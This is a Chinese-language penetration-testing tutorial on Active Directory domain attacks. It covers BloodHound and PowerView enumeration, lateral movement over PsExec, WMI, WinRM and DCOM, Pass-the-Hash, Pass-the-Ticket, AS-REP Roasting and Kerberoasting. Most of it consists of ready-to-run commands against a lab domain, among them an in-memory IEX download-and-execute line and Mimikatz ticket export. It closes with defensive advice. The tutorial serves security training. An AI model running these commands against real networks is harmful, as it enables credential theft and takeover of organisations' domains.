Active Directory(AD)是企业网络的核心基础设施,管理着组织中的用户、计算机、权限和策略。对于渗透测试人员而言,攻破域环境意味着能够控制整个企业网络。本文将从 AD 基础概念入手,系统讲解域环境信息收集、Kerberos 认证攻击、横向移动技术以及常见的域攻击手法,包括 Pass-the-Hash、Kerberoasting 等核心技术。
Active Directory 核心概念
域(Domain)与域控制器(Domain Controller)
域是 Active Directory 的基本管理单元,域控制器(DC)是运行 AD DS 服务的 Windows Server,负责存储目录数据库(NTDS.dit)并处理所有认证请求。
# 查看域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# 获取域控制器列表
nltest /dclist:lab.local
# 查看域信任关系
nltest /domain_trusts
# 基本域信息
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
组织单位(OU)与组策略(GPO)
OU 是 AD 中用于组织和管理对象的容器,GPO 则通过链接到 OU 来下发安全策略和配置。
# 查看 OU 结构
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
# 查看所有 GPO
Get-GPO -All | Select-Object DisplayName, Id, CreationTime
# 查看 GPO 的详细设置
Get-GPOReport -Name "Default Domain Policy" -ReportType Html -Path "C:\Temp\gpo_report.html"
关键 AD 对象
| 对象类型 | 说明 | 渗透测试关注点 |
|---|---|---|
| 用户账户 | 域用户 | 弱密码、SPN 设置、特权组成员 |
| 计算机账户 | 域内机器 | 不受约束的委派 |
| 服务账户 | 运行服务的账户 | Kerberoasting 目标 |
| 组 | 安全组/分发组 | Domain Admins、Enterprise Admins |
| GPO | 组策略对象 | 密码策略、脚本执行 |
域环境信息收集
BloodHound
BloodHound 是域渗透中最强大的信息收集和攻击路径分析工具,通过图数据库可视化展示域内的权限关系。
# 安装 BloodHound
# 方法一:apt 安装
sudo apt install bloodhound neo4j
# 方法二:Docker 安装(推荐 BloodHound CE 社区版)
curl -L https://ghst.ly/getbhce | docker compose -f - up
# 启动 Neo4j 数据库
sudo neo4j console
# 默认访问 http://localhost:7474 修改密码
# 启动 BloodHound GUI
bloodhound
数据收集 — SharpHound
# 在域内机器上运行 SharpHound 收集器
# 收集所有信息
.\SharpHound.exe -c All
# 指定域和收集方法
.\SharpHound.exe -c All -d lab.local --zipfilename bloodhound_data.zip
# 使用 PowerShell 版本
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\
# 使用 bloodhound-python 远程收集(从 Linux 攻击机)
bloodhound-python -d lab.local -u testuser -p 'Welcome1!' -ns 10.10.10.100 -c All
BloodHound 攻击路径分析
在 BloodHound 中导入数据后,可以使用内置查询发现攻击路径:
- Find Shortest Paths to Domain Admins — 查找到域管理员的最短攻击路径
- Find Principals with DCSync Rights — 查找具有 DCSync 权限的主体
- Find Computers where Domain Users are Local Admin — 查找域用户为本地管理员的计算机
- Find Kerberoastable Users with Most Privileges — 查找高权限的可 Kerberoast 用户
- Shortest Paths from Owned Principals — 从已控制的账户出发查找攻击路径
PowerView
PowerView 是 PowerSploit 框架中的 AD 枚举模块,提供了大量域信息收集命令。
# 导入 PowerView
Import-Module .\PowerView.ps1
# 或使用内存加载
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/PowerView.ps1')
# 域基本信息
Get-Domain
Get-DomainController
Get-DomainPolicy
# 用户枚举
Get-DomainUser | Select-Object samaccountname, description, memberof
Get-DomainUser -SPN # 查找设置了 SPN 的用户(Kerberoasting 目标)
Get-DomainUser -AdminCount # 查找管理员账户
# 组枚举
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty member
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# 计算机枚举
Get-DomainComputer | Select-Object name, operatingsystem, dnshostname
Get-DomainComputer -Unconstrained # 查找不受约束的委派
# 共享枚举
Find-DomainShare -CheckShareAccess
# 查找当前用户有本地管理员权限的机器
Find-LocalAdminAccess
# GPO 枚举
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
Kerberos 认证流程
理解 Kerberos 认证是掌握域攻击技术的基础。Kerberos 认证分为三个阶段:
- AS-REQ / AS-REP — 用户向 KDC 请求 TGT(票据授权票据)
- TGS-REQ / TGS-REP — 用户使用 TGT 向 KDC 请求服务票据(ST)
- AP-REQ / AP-REP — 用户使用 ST 向目标服务进行认证
用户 ──AS-REQ(用户Hash加密时间戳)──> KDC(域控)
用户 <──AS-REP(TGT, 用krbtgt Hash加密)── KDC
用户 ──TGS-REQ(TGT)──> KDC
用户 <──TGS-REP(ST, 用服务Hash加密)── KDC
用户 ──AP-REQ(ST)──> 目标服务
这个认证流程中的每个环节都有对应的攻击手法,后文将详细讲解。
横向移动技术
在域环境中获取凭据后,需要通过横向移动来扩大控制范围,最终达到域控制器。
PsExec
PsExec 通过 SMB 协议在远程机器上创建服务来执行命令。
# impacket-psexec(推荐,支持 Pass-the-Hash)
impacket-psexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101
# 使用 NTLM Hash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101
# Sysinternals PsExec
PsExec.exe \\10.10.10.101 -u lab\administrator -p P@ssw0rd! cmd.exe
# CrackMapExec 批量执行
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' --exec-method smbexec -x "whoami"
WMI 远程执行
# impacket-wmiexec
impacket-wmiexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101
# 使用 Hash
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101
# PowerShell WMI 远程命令
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName SRV01 -Credential (Get-Credential)
WinRM 横向移动
# PowerShell Remoting
Enter-PSSession -ComputerName SRV01 -Credential lab\administrator
Invoke-Command -ComputerName SRV01 -ScriptBlock { whoami; hostname } -Credential lab\administrator
# evil-winrm
evil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
DCOM 远程执行
# impacket-dcomexec
impacket-dcomexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101
# PowerShell DCOM
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.101"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\dcom_output.txt","Minimized")
横向移动工具对比
| 方法 | 所需端口 | 需要的权限 | 隐蔽性 | 日志痕迹 |
|---|---|---|---|---|
| PsExec | 445 (SMB) | 本地管理员 | 低 | 服务创建事件 |
| WMI | 135 + 动态端口 | 本地管理员 | 中 | WMI 事件 |
| WinRM | 5985/5986 | 远程管理权限 | 中 | PowerShell 日志 |
| DCOM | 135 + 动态端口 | 本地管理员 | 高 | 较少 |
| RDP | 3389 | RDP 用户组 | 低 | 登录事件 |
Pass-the-Hash(PTH)
Pass-the-Hash 允许攻击者使用用户的 NTLM Hash 而非明文密码进行认证,是域渗透中最常用的技术之一。
# CrackMapExec PTH
crackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth
# impacket 工具集 PTH
impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101
impacket-smbexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101
# evil-winrm PTH
evil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
# xfreerdp PTH(RDP Pass-the-Hash,需要 Restricted Admin 模式启用)
xfreerdp /v:10.10.10.101 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0
Pass-the-Ticket(PTT)
Pass-the-Ticket 使用窃取的 Kerberos 票据进行认证,不需要密码或 Hash。
# 使用 Mimikatz 导出当前会话的票据
mimikatz # sekurlsa::tickets /export
# 查看导出的票据
dir *.kirbi
# 注入票据到当前会话
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-administrator@krbtgt-LAB.LOCAL.kirbi
# 使用 Rubeus 进行 PTT
.\Rubeus.exe ptt /ticket:ticket.kirbi
# 验证票据已注入
klist
# 现在可以直接访问目标资源
dir \\DC01\C$
AS-REP Roasting
当域用户的 “不要求 Kerberos 预认证” 选项被启用时,攻击者可以在不知道密码的情况下获取该用户的 AS-REP 响应,其中包含可离线破解的加密数据。
# 使用 impacket 获取 AS-REP Hash
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.100 -format hashcat -outputfile asrep_hashes.txt
# 使用已知凭据枚举并获取
impacket-GetNPUsers lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request
# 使用 Rubeus(在域内机器上)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# PowerView 查找不要求预认证的用户
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# 使用 Hashcat 破解 AS-REP Hash
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 使用 John the Ripper
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Kerberoasting
Kerberoasting 针对设置了 SPN(Service Principal Name)的域用户账户。攻击者可以请求这些账户的服务票据(TGS),然后离线破解票据中的加密部分以获取明文密码。
# 使用 impacket-GetUserSPNs
impacket-GetUserSPNs lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request -outputfile kerberoast_hashes.txt
# 使用 Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_hash.txt
# PowerView 查找 Kerberoastable 用户
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# 使用 PowerShell 原生方法请求 TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/srv01.lab.local:1433"
# Hashcat 破解 Kerberoast Hash
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
安全建议与防御措施
- 强密码策略 — 服务账户使用 25 位以上的强密码,域管理员密码定期轮换
- 限制特权账户 — 减少 Domain Admins 组成员,使用分层管理模型
- 启用 Kerberos 预认证 — 确保所有账户启用 Kerberos 预认证
- 监控 Kerberoasting — 监控异常的 TGS 请求(Event ID 4769)
- 使用组管理服务账户(gMSA) — 自动轮换密码,防止 Kerberoasting
- 限制横向移动 — 使用 Windows 防火墙和网络分段限制工作站间通信
- 部署 LAPS — 使用 Local Administrator Password Solution 管理本地管理员密码
- 启用 Protected Users 组 — 防止 NTLM 认证和凭据缓存
- 监控 BloodHound 收集行为 — 检测大量 LDAP 查询和 SMB 会话枚举
总结
域渗透是 Windows 渗透测试的高级阶段,也是企业网络安全评估的核心环节。本文涵盖了域渗透的关键技术:
- 信息收集 — BloodHound 和 PowerView 是域环境分析的核心工具
- Kerberos 攻击 — AS-REP Roasting 和 Kerberoasting 可以离线破解域用户密码
- 横向移动 — PsExec、WMI、WinRM、DCOM 提供了多种远程执行手段
- 凭据利用 — Pass-the-Hash 和 Pass-the-Ticket 无需明文密码即可认证
在实际域渗透中,通常遵循 “信息收集 → 获取初始凭据 → 横向移动 → 提权到域管理员” 的攻击链路。BloodHound 的攻击路径分析能大幅提升这一过程的效率。下一篇文章将深入 Windows 后渗透阶段,讲解 Mimikatz 密码提取和票据攻击技术。